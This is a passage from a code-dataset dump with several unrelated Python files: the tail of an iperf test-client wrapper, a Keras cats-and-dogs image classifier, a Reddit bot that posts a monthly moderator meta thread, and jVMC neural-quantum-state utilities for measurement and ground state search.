dst_port: (int) iperf server port to connect to\n :param dst_port: (int) iperf server port to connect to\n :param duration: (int) test duration\n :param udp: (bool) enable udp\n :param bandwidth: (int) limit traffic to as much Mbits/second\n :return:\n job_id: (int)\n \"\"\"\n\n cmd = self.IPERF_BIN + ' ' + '-c %s -p %s -t %s' % (str(dst_ip),\n str(dst_port),\n str(duration))\n cmd += ' ' + '--json'\n if udp:\n cmd += \" --udp\"\n # iperf3 udp default is 1 Mbit/s, this sets it to unlimited / 10Gb/s\n if not bandwidth:\n bandwidth = 10240\n if bandwidth:\n cmd += \" --bandwidth %dM\" % bandwidth\n if args:\n cmd += ' ' + args\n p = self._start_subprocess(cmd)\n self._job_id = self._STARTING_JOB_ID if not self._job_id \\\n else self._job_id + 1\n\n self._client_handles[self._job_id] = {'popen_obj': p,\n 'state': 'running',\n 'result': None,\n 'cmd': cmd}\n log.info(\"cmd: %s running with job_id: %s\" % (cmd, self._job_id))\n return self._job_id\n\n def get_client_jobs(self):\n return [j for j in self._client_handles.keys()]\n\n def get_client_job_info(self, job_id):\n \"\"\"\n Get client job info on given job id.\n\n :param job_id: (int)\n :return:\n job_details: (dict)\n # {'popen_obj': <popen obj>,\n # 'state': 'running' | 'done',\n # 'result': < None | JSON output>,\n # 'cmd': <command>\n # }\n \"\"\"\n if job_id not in self._client_handles:\n log.error(\"Job ID:%d not found\" % job_id)\n return None\n p = self._client_handles[job_id].get('popen_obj')\n if not self._is_alive(p):\n if self._client_handles[job_id].get('result') is None:\n result_json = p.communicate()[0].decode('utf-8')\n result_json = result_json.replace('\\n', '').replace('\\t', '')\n self._client_handles[job_id]['result'] = result_json\n self._client_handles[job_id]['state'] = 'done'\n\n return self._client_handles[job_id]\n\n def stop(self):\n \"\"\"\n Stop iperf app.\n \"\"\"\n server_ports = self.get_server_ports()\n client_jobs = self.get_client_jobs()\n\n for port in server_ports:\n log.info(\"Stopping iperf server on port %s\", port)\n proc = self._server_handles.get(port)\n if proc:\n self._kill_subprocess(proc)\n\n for job_id in client_jobs:\n log.info(\"Stopping iperf client process for job: %s\" % job_id)\n proc = self._client_handles[job_id].get('popen_obj')\n if proc:\n self._kill_subprocess(proc)\n\n def is_running(self, port):\n \"\"\"\n Check iperf server is running on given port\n \"\"\"\n netstat = self._start_subprocess('netstat -lnp')\n grep = self._start_subprocess('grep :%s' % port, stdin=netstat.stdout)\n netstat.stdout.close() # Allow netstat to receive a SIGPIPE if grep exits.\n output = grep.communicate()[0].decode('utf-8')\n return self.IPERF_BIN in output\n", "sub_path": "AXON/axon/apps/iperf.py", "file_name": "iperf.py", "file_ext": "py", "file_size_in_byte": 7208, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "axon.apps.console.Console", "line_number": 18, "usage_type": "attribute"}, {"api_name": "axon.apps.console", "line_number": 18, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 76, "usage_type": "call"}]} {"seq_id": "273176345", "text": "import time\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport pickle\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import preprocessing\r\nfrom keras.utils import to_categorical\r\nfrom keras.models import (\r\n Model,\r\n )\r\nfrom keras.layers import (\r\n Activation,\r\n Conv2D,\r\n Dense,\r\n Flatten,\r\n Input,\r\n MaxPooling2D,\r\n Dropout,\r\n )\r\nimport keras\r\nfrom keras.models import Sequential\r\n\r\n# Required magic to display matplotlib plots in notebooks\r\n#%matplotlib inline\r\n\r\n# Set up a figure of an appropriate size\r\n# create empty list\r\nimages_dataset = []\r\nclass_labels = []\r\nbatch_size = 128\r\nepochs = 50\r\n\r\n# Helper function to resize image proportionally. size is a tuple (height,width)\r\ndef resize_image(img, size): \r\n from PIL import Image, ImageOps \r\n \r\n # resize the image so the longest dimension matches our target size\r\n img.thumbnail(size, Image.ANTIALIAS)\r\n \r\n # Create a new square white background image\r\n newimg = Image.new(\"RGB\", size, (255, 255, 255))\r\n \r\n # Paste the resized image into the center of the square background\r\n if np.array(img).shape[2] == 4:\r\n # If the source is in RGBA format, use a mask to eliminate the transparency\r\n newimg.paste(img, (int((size[0] - img.size[0]) / 2), int((size[1] - img.size[1]) / 2)), mask=img.split()[3])\r\n else:\r\n newimg.paste(img, (int((size[0] - img.size[0]) / 2), int((size[1] - img.size[1]) / 2)))\r\n \r\n # return the resized image\r\n return newimg\r\n\r\n# loop through the subfolders in the input directory\r\nimage_base_dir = './train'\r\nn = 0\r\nfor root, folders, filenames in os.walk(image_base_dir):\r\n for folder in folders:\r\n class_labels.append(folder)\r\n print('processing folder:{}'.format(folder))\r\n n = n+1\r\n files = os.listdir(os.path.join(root,folder))\r\n for file in files:\r\n # construct the fully image filename(including path)\r\n imgFile = os.path.join(image_base_dir,folder, file)\r\n # read image data\r\n img = Image.open(imgFile)\r\n # resize image\r\n img = resize_image(img,(128,128))\r\n # images_dataset is list of numpy array and label\r\n images_dataset.append([np.array(np.array(img)),folder])\r\n\r\nprint('n={}'.format(n))\r\n# shuffle the dataset\r\nnp.random.shuffle(images_dataset)\r\n\r\n# fetch image data from gear_dataset\r\nimages_data = list(map(\r\n lambda item: item[0],\r\n images_dataset\r\n ))\r\n\r\n# fetch label data from gear_dataset\r\nimages_labels = list(map(\r\n lambda item: item[1],\r\n images_dataset,\r\n ))\r\n# images_data and images_labels are list now, should be converted to np.array\r\nimages_data = np.array(images_data,dtype=np.float)/255.\r\nimages_labels = np.array(images_labels)\r\n\r\n# one hot encoding labels\r\n# encode the labels into one hot encoding\r\nencoder = preprocessing.LabelEncoder()\r\nencoder.fit(images_labels)\r\nprint('class={}'.format(encoder.classes_)) # ['cats' 'dogs']\r\nle_classes = encoder.transform(encoder.classes_) # [0,1]\r\n# zip pack the two object's element into a tuple: [0:'cats,1:'dogs']\r\n# create a dictionary from a list of tuple\r\nle_name_mapping = dict(zip(le_classes,encoder.classes_))\r\nprint(le_name_mapping,le_name_mapping[0])\r\noutput2 = open('pzsmodel2_labdic.pkl', 'wb')\r\npickle.dump(le_name_mapping, output2)\r\noutput2.close()\r\n\r\n# save the digits and its corresponding labels\r\ntransfomed_label = encoder.fit_transform(class_labels)\r\nprint(transfomed_label)\r\n\r\n# string to number. cats->0 dogs->1\r\nlabels_id = encoder.transform(images_labels)\r\n# one hot encoding. Converts a class vector (integers) to binary class matrix. A binary matrix representation of the input. The classes axis is placed last.\r\nlabels_encoded = to_categorical(labels_id)\r\n# split training and testing dataset\r\ntrain_x,test_x,train_y,test_y = train_test_split(images_data,labels_encoded,test_size=0.2)\r\n#print('shape={}'.format(np.array(images_dataset).shape))\r\n\r\n# \r\nmodel = Sequential()\r\n# strides=(1,1) padding='valid'\r\nmodel.add(Conv2D(32, (3, 3), activation='relu',input_shape=(128,128,3)))\r\nprint('output shape1={}'.format(model.output_shape))\r\nmodel.add(Dropout(0.2))\r\nprint('output shape2={}'.format(model.output_shape))\r\n# pool_size: integer or tuple of 2 integers, factors by which to downscale (vertical, horizontal). \r\n# strides: Integer, tuple of 2 integers, or None. Strides values. If None, it will default to pool_size.\r\nmodel.add(MaxPooling2D(pool_size=(3, 3)))\r\nprint('output shape3={}'.format(model.output_shape))\r\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\r\nprint('output shape4={}'.format(model.output_shape))\r\nmodel.add(MaxPooling2D(pool_size=(3, 3)))\r\nprint('output shape5={}'.format(model.output_shape))\r\nmodel.add(Dropout(0.2))\r\nmodel.add(Conv2D(128, (3, 3), activation='relu'))\r\nprint('output shape6={}'.format(model.output_shape))\r\nmodel.add(MaxPooling2D(pool_size=(3, 3)))\r\nprint('output shape7={}'.format(model.output_shape))\r\nmodel.add(Flatten())\r\nprint('output shape8={}'.format(model.output_shape))\r\nmodel.add(Dense(128, activation='relu'))\r\n# Softmax makes the output sum up to 1 so the output can be interpreted as probabilities.\r\nmodel.add(Dense(n, activation='softmax'))\r\nprint('output shape9={}'.format(model.output_shape))\r\n# Configures the model for training.\r\nmodel.compile(loss=keras.losses.categorical_crossentropy,\r\n optimizer=keras.optimizers.Adam(),\r\n metrics=['accuracy'])\r\n\r\n\r\n# Trains the model for a given number of epochs (iterations on a dataset).\r\nhistory= model.fit(train_x, train_y,\r\n batch_size=batch_size,\r\n epochs=epochs,\r\n verbose=1,\r\n validation_data=(test_x, test_y))\r\n\r\n# Returns the loss value & metrics values for the model in test mode.\r\nscore = model.evaluate(test_x, test_y, verbose=0)\r\nprint('score={}'.format(score))\r\n#print('history={}'.format(history.accuracy))\r\n\r\n# load predict images\r\npredict_data = []\r\npredict_images = []\r\nsize = (128,128)\r\nfiles = os.listdir('./predict')\r\nfor f in files:\r\n if not 'jpg' in f:\r\n continue\r\n img = Image.open(os.path.join('./predict',f))\r\n # resize images\r\n img = resize_image(img,size)\r\n predict_data.append(np.array(img))\r\n\r\n\r\n#img = Image.open('resized_images/hardshell_jackets_test/resized_10269570x1012905_zm.jpeg')\r\npredict_data = np.array(predict_data,dtype='float')/255.\r\n\r\npredicted_labels_encoded = model.predict(\r\n predict_data,\r\n # batch_size=128,\r\n )\r\n# predicted_labels_encoded is an array ,so np.argmax must specify the axis, so the result is also an arrar \r\npredicted_labels = np.argmax(predicted_labels_encoded,axis=1) \r\nprint('predicted digits={}'.format(predicted_labels)) \r\npredicted_labels = encoder.inverse_transform(predicted_labels)\r\nprint('predicted labels=',predicted_labels)\r\n\r\n# summarize history for accuracy\r\nplt.plot(history.history['acc'])\r\nplt.plot(history.history['val_acc'])\r\nplt.title('model accuracy')\r\nplt.ylabel('accuracy')\r\nplt.xlabel('epoch')\r\nplt.legend(['train', 'test'], loc='upper left')\r\nplt.show()\r\n\r\ni = 0\r\n#fig = plt.figure(figsize=(10, 10))\r\nfor data in predict_data:\r\n ax = plt.subplot(1,4,i+1)\r\n #img = Image.open(test_img_url) \r\n #img = np.array(img)\r\n data = (data * 255.).astype(np.uint8)\r\n imgplot = plt.imshow(data)\r\n ax.set_title(predicted_labels[i])\r\n i = i+1\r\nplt.show()\r\n# save the model\r\n\r\nmodel.save('catsdogs.h5')\r\n", "sub_path": "catsdogs_keras.py", "file_name": "catsdogs_keras.py", "file_ext": "py", "file_size_in_byte": 7957, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "PIL.Image.ANTIALIAS", "line_number": 40, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 40, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 43, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 58, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 68, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 91, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 95, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 104, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 116, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 120, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 122, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 124, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 128, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 130, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 132, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 134, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 135, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 137, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 139, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 141, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 143, "usage_type": "call"}, {"api_name": "keras.losses", "line_number": 146, "usage_type": "attribute"}, {"api_name": "keras.optimizers.Adam", "line_number": 147, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 167, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 171, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 171, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 205, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}]} {"seq_id": "117105259", "text": "import praw\nimport configparser\nimport datetime\n\nDATE_FILE = 'meta_last_posted'\n\nc = configparser.ConfigParser()\nc.read('config.ini')\n\nreddit = praw.Reddit(**c['Auth'])\nsubreddit = reddit.subreddit(c['Options']['subreddit'])\n\n# should only be posted every 4 weeks\nwith open(DATE_FILE, 'r') as f:\n try:\n last_posted_str = f.read().strip()\n last_posted = datetime.date.fromisoformat(last_posted_str)\n\n if datetime.date.today() - last_posted < datetime.timedelta(days=28):\n print(f'Not submitted (last post: {last_posted_str})')\n exit()\n except FileNotFoundError:\n print(f\"Couldn't find {DATE_FILE}, continuing\")\n\ntitle = datetime.date.today().strftime('Meta Thread - Month of %B %d, %Y')\ncontent = \"\"\"A monthly thread to talk about meta topics. Keep it friendly and relevant to the subreddit.\n\nPosts here must, of course, still abide by all subreddit rules other than the no meta requirement. Keep it friendly and be respectful. Occasionally the moderators will have specific topics that they want to get feedback on, so be on the lookout for distinguished posts.\n\nComments that are detrimental to discussion (aka circlejerks/shitposting) are subject to removal.\"\"\"\n\npost = subreddit.submit(title, selftext=content)\npost.disable_inbox_replies()\npost.mod.suggested_sort(sort='new')\npost.mod.distinguish()\npost.mod.sticky()\n\nprint(f'Submitted {post.title}')\n\nwith open(DATE_FILE, 'w') as f:\n f.write(datetime.date.today().isoformat())\n f.write('\\n')\n", "sub_path": "meta.py", "file_name": "meta.py", "file_ext": "py", "file_size_in_byte": 1508, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "configparser.ConfigParser", "line_number": 7, "usage_type": "call"}, {"api_name": "praw.Reddit", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 17, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 19, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 25, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 41, "usage_type": "attribute"}]} {"seq_id": "12201499", "text": "import sys\n# Find jVMC package\nsys.path.append(sys.path[0] + \"/..\")\n\nimport jax\nfrom jax.config import config\nconfig.update(\"jax_enable_x64\", True)\n\nimport jax.numpy as jnp\nimport jax.random as random\n\nimport time\nimport numpy as np\n\nimport jVMC\nimport jVMC.util.stepper as jVMCstepper\nimport jVMC.mpi_wrapper as mpi\nimport jVMC.nets.activation_functions as act_funs\nimport jVMC.util.symmetries as sym\n\nimport collections\n\n\ndef get_iterable(x):\n if isinstance(x, collections.abc.Iterable):\n return x\n else:\n return (x,)\n\n\ndef init_net(descr, dims, seed=0):\n\n def get_activation_functions(actFuns):\n\n if type(actFuns) is list:\n return [act_funs.activationFunctions[fn] for fn in actFuns]\n\n return act_funs.activationFunctions[actFuns]\n\n netTypes = {\n \"RBM\": jVMC.nets.RBM,\n \"FFN\": jVMC.nets.FFN,\n \"CNN\": jVMC.nets.CNN,\n \"LSTM\": jVMC.nets.LSTM,\n \"LSTMsym\": jVMC.nets.LSTMsym,\n \"PhaseRNN\": jVMC.nets.RNN,\n \"PhaseRNNsym\": jVMC.nets.RNNsym,\n \"CpxRNN\": jVMC.nets.CpxRNN,\n \"RNN\": jVMC.nets.RNN,\n \"RNN2D\": jVMC.nets.RNN2D,\n \"RNNsym\": jVMC.nets.RNNsym,\n \"RNN2Dsym\": jVMC.nets.RNN2Dsym,\n \"CpxRBM\": jVMC.nets.CpxRBM,\n \"CpxCNN\": jVMC.nets.CpxCNN\n }\n\n def get_net(descr, dims, seed):\n\n return netTypes[descr[\"type\"]](**descr[\"parameters\"])\n\n if \"actFun\" in descr[\"net1\"][\"parameters\"]:\n descr[\"net1\"][\"parameters\"][\"actFun\"] = get_activation_functions(descr[\"net1\"][\"parameters\"][\"actFun\"])\n\n if descr[\"net1\"][\"type\"][-3:] == \"sym\":\n L = dims[0]\n\n # set symmetries ON - turn each one off manually\n kwargs_sym = {\"translation\": True, \"reflection\": True, \"rotation\": True}\n for key in kwargs_sym.keys():\n if key in descr[\"net1\"]:\n kwargs_sym[key] = descr[\"net1\"][key]\n\n if descr[\"net1\"][\"type\"][-5:-3] == \"2D\":\n descr[\"net1\"][\"parameters\"][\"orbit\"] = sym.get_orbit_2d_square(L, **kwargs_sym)\n else:\n descr[\"net1\"][\"parameters\"][\"orbit\"] = sym.get_orbit_1d(L, **kwargs_sym)\n\n if \"net2\" in descr:\n if descr[\"net2\"][\"type\"][-3:] == \"sym\":\n\n # set symmetries ON - turn each one off manually\n kwargs_sym = {\"translation\": True, \"reflection\": True, \"rotation\": True}\n for key in kwargs_sym.keys():\n if key in descr[\"net2\"]:\n kwargs_sym[key] = descr[\"net2\"][key]\n\n L = dims[0]\n if descr[\"net2\"][\"type\"][-5:-3] == \"2D\":\n descr[\"net2\"][\"parameters\"][\"orbit\"] = sym.get_orbit_2d_square(L, **kwargs_sym)\n else:\n descr[\"net2\"][\"parameters\"][\"orbit\"] = sym.get_orbit_1d(L, **kwargs_sym)\n\n if not \"net2\" in descr:\n\n model = get_net(descr[\"net1\"], dims, seed)\n\n psi = jVMC.vqs.NQS(model, batchSize=descr[\"gradient_batch_size\"], seed=seed)\n\n else:\n\n if \"actFun\" in descr[\"net2\"][\"parameters\"]:\n\n descr[\"net2\"][\"parameters\"][\"actFun\"] = get_activation_functions(descr[\"net2\"][\"parameters\"][\"actFun\"])\n\n model1 = get_net(descr[\"net1\"], dims, seed)\n model2 = get_net(descr[\"net2\"], dims, seed)\n\n psi = jVMC.vqs.NQS((model1, model2), batchSize=descr[\"gradient_batch_size\"], seed=seed)\n\n psi(jnp.zeros((1, 1) + dims, dtype=np.int32))\n\n return psi\n\n\ndef measure(observables, psi, sampler, numSamples=None):\n ''' This function measures expectation values of a given set of operators given a pure state.\n\n Arguments:\n * ``observables``: Dictionary of the form with operator names as keys and (lists of) operators as values, e.g.:\n\n .. code-block:: python\n\n { \"op_name_1\": [operator1, operator2], \"op_name_2\": operator3 }\n\n * ``psi``: Variational wave function (instance of ``jVMC.vqs.NQS``)\n * ``sampler``: Instance of ``jVMC.sampler`` used for sampling.\n * ``numSamples``: Number of samples (optional)\n\n Returns:\n A dictionary holding expectation values, variances, and MC error estimates for each operator. E.g. for the\n exemplary operator input given in `Arguments`:\n\n .. code-block:: python\n\n { \n \"op_name_1\": { \"mean\": [mean1, mean2],\n \"variance\": [var1, var2],\n \"MC_error\": [err1, err2] },\n \"op_name_2\": { \"mean\": [mean3],\n \"variance\": [var3],\n \"MC_error\": [err3] }\n }\n\n '''\n # Get sample\n sampleConfigs, sampleLogPsi, p = sampler.sample(numSamples=numSamples)\n\n result = {}\n\n for name, ops in observables.items():\n\n tmpMeans = []\n tmpVariances = []\n tmpErrors = []\n\n for op in get_iterable(ops):\n sampleOffdConfigs, matEls = op.get_s_primes(sampleConfigs)\n sampleLogPsiOffd = psi(sampleOffdConfigs)\n Oloc = op.get_O_loc(sampleLogPsi, sampleLogPsiOffd)\n\n if p is not None:\n tmpMeans.append(mpi.global_mean(Oloc, p))\n tmpVariances.append(mpi.global_variance(Oloc, p))\n tmpErrors.append(0.)\n else:\n tmpMeans.append(mpi.global_mean(Oloc))\n tmpVariances.append(mpi.global_variance(Oloc))\n tmpErrors.append(jnp.sqrt(tmpVariances[-1]) / jnp.sqrt(sampler.get_last_number_of_samples()))\n\n result[name] = {}\n result[name][\"mean\"] = jnp.real(jnp.array(tmpMeans))\n result[name][\"variance\"] = jnp.real(jnp.array(tmpVariances))\n result[name][\"MC_error\"] = jnp.real(jnp.array(tmpErrors))\n\n return result\n\n\ndef ground_state_search(psi, ham, tdvpEquation, sampler, numSteps=200, varianceTol=1e-10, stepSize=1e-2, observables=None, outp=None):\n ''' This function performs a ground state search by Stochastic Reconfiguration.\n\n Arguments:\n * ``psi``: Variational wave function (``jVMC.vqs.NQS``)\n * ``ham``: Hamiltonian operator\n * ``tdvpEquation``: An instance of ``jVMC.util.TDVP``\n * ``numSteps``: Maximal number of steps\n * ``varianceTol``: Stopping criterion\n * ``stepSize``: Update step size (learning rate)\n * ``observables``: Observables to be measured during ground state search\n * ``outp``: ``None`` or instance of ``jVMC.util.OutputManager``.\n\n '''\n\n delta = tdvpEquation.diagonalShift\n\n stepper = jVMCstepper.Euler(timeStep=stepSize)\n\n n = 0\n if outp is not None:\n if observables is not None:\n obs = measure(observables, psi, sampler)\n outp.write_observables(n, **obs)\n\n varE = 1.0\n\n while n < numSteps and varE > varianceTol:\n\n tic = time.perf_counter()\n\n dp, _ = stepper.step(0, tdvpEquation, psi.get_parameters(), hamiltonian=ham, psi=psi, numSamples=None, outp=outp)\n psi.set_parameters(dp)\n n += 1\n\n varE = tdvpEquation.get_energy_variance()\n\n if outp is not None:\n if observables is not None:\n obs = measure(observables, psi, sampler)\n outp.write_observables(n, **obs)\n\n delta = 0.95 * delta\n tdvpEquation.set_diagonal_shift(delta)\n\n if outp is not None:\n outp.print(\" STEP %d\" % (n))\n outp.print(\" Energy mean: %f\" % (tdvpEquation.get_energy_mean()))\n outp.print(\" Energy variance: %f\" % (varE))\n outp.print_timings(indent=\" \")\n outp.print(\" == Time for step: %fs\" % (time.perf_counter() - tic))\n", "sub_path": "jVMC/util/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 7588, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "jax.config.config.update", "line_number": 7, "usage_type": "call"}, {"api_name": "jax.config.config", "line_number": 7, "usage_type": "name"}, {"api_name": "collections.abc", "line_number": 25, "usage_type": "attribute"}, {"api_name": "jVMC.nets.activation_functions.activationFunctions", "line_number": 36, "usage_type": "attribute"}, {"api_name": "jVMC.nets.activation_functions", "line_number": 36, "usage_type": "name"}, {"api_name": "jVMC.nets.activation_functions.activationFunctions", "line_number": 38, "usage_type": "attribute"}, {"api_name": "jVMC.nets.activation_functions", "line_number": 38, "usage_type": "name"}, {"api_name": "jVMC.nets", "line_number": 41, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 42, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 43, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 44, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 45, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 46, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 47, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 48, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 49, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 50, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 51, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 52, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 53, "usage_type": "attribute"}, {"api_name": "jVMC.nets", "line_number": 54, "usage_type": "attribute"}, {"api_name": "jVMC.util.symmetries.get_orbit_2d_square", "line_number": 74, "usage_type": "call"}, {"api_name": "jVMC.util.symmetries", "line_number": 74, "usage_type": "name"}, {"api_name": "jVMC.util.symmetries.get_orbit_1d", "line_number": 76, "usage_type": "call"}, {"api_name": "jVMC.util.symmetries", "line_number": 76, "usage_type": "name"}, {"api_name": "jVMC.util.symmetries.get_orbit_2d_square", "line_number": 89, "usage_type": "call"}, {"api_name": "jVMC.util.symmetries", "line_number": 89, "usage_type": "name"}, {"api_name": "jVMC.util.symmetries.get_orbit_1d", "line_number": 91, "usage_type": "call"}, {"api_name": "jVMC.util.symmetries", "line_number": 91, "usage_type": "name"}, {"api_name": "jVMC.vqs.NQS", "line_number": 97, "usage_type": "call"}, {"api_name": "jVMC.vqs", "line_number": 97, "usage_type": "attribute"}, {"api_name": "jVMC.vqs.NQS", "line_number": 108, "usage_type": "call"}, {"api_name": "jVMC.vqs", "line_number": 108, "usage_type": "attribute"}, {"api_name": "jax.numpy.zeros", "line_number": 110, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.int32", "line_number": 110, "usage_type": "attribute"}, {"api_name": "jVMC.mpi_wrapper.global_mean", "line_number": 162, "usage_type": "call"}, {"api_name": "jVMC.mpi_wrapper", "line_number": 162, "usage_type": "name"}, {"api_name": "jVMC.mpi_wrapper.global_variance", "line_number": 163, "usage_type": "call"}, {"api_name": "jVMC.mpi_wrapper", "line_number": 163, "usage_type": "name"}, {"api_name": "jVMC.mpi_wrapper.global_mean", "line_number": 166, "usage_type": "call"}, {"api_name": "jVMC.mpi_wrapper", "line_number": 166, "usage_type": "name"}, {"api_name": "jVMC.mpi_wrapper.global_variance", "line_number": 167, "usage_type": "call"}, {"api_name": "jVMC.mpi_wrapper", "line_number": 167, "usage_type": "name"}, {"api_name": "jax.numpy.sqrt", "line_number": 168, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 168, "usage_type": "name"}, {"api_name": "jax.numpy.real", "line_number": 171, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 171, "usage_type": "name"}, {"api_name": "jax.numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "jax.numpy.real", "line_number": 172, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 172, "usage_type": "name"}, {"api_name": "jax.numpy.array", "line_number": 172, "usage_type": "call"}, {"api_name": "jax.numpy.real", "line_number": 173, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 173, "usage_type": "name"}, {"api_name": "jax.numpy.array", "line_number": 173, "usage_type": "call"}, {"api_name": "jVMC.util.stepper.Euler", "line_number": 195, "usage_type": "call"}, {"api_name": "jVMC.util.stepper", "line_number": 195, "usage_type": "name"}, {"api_name": "time.perf_counter", "line_number": 207, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 228, "usage_type": "call"}]} {"seq_id": "548243435", "text": 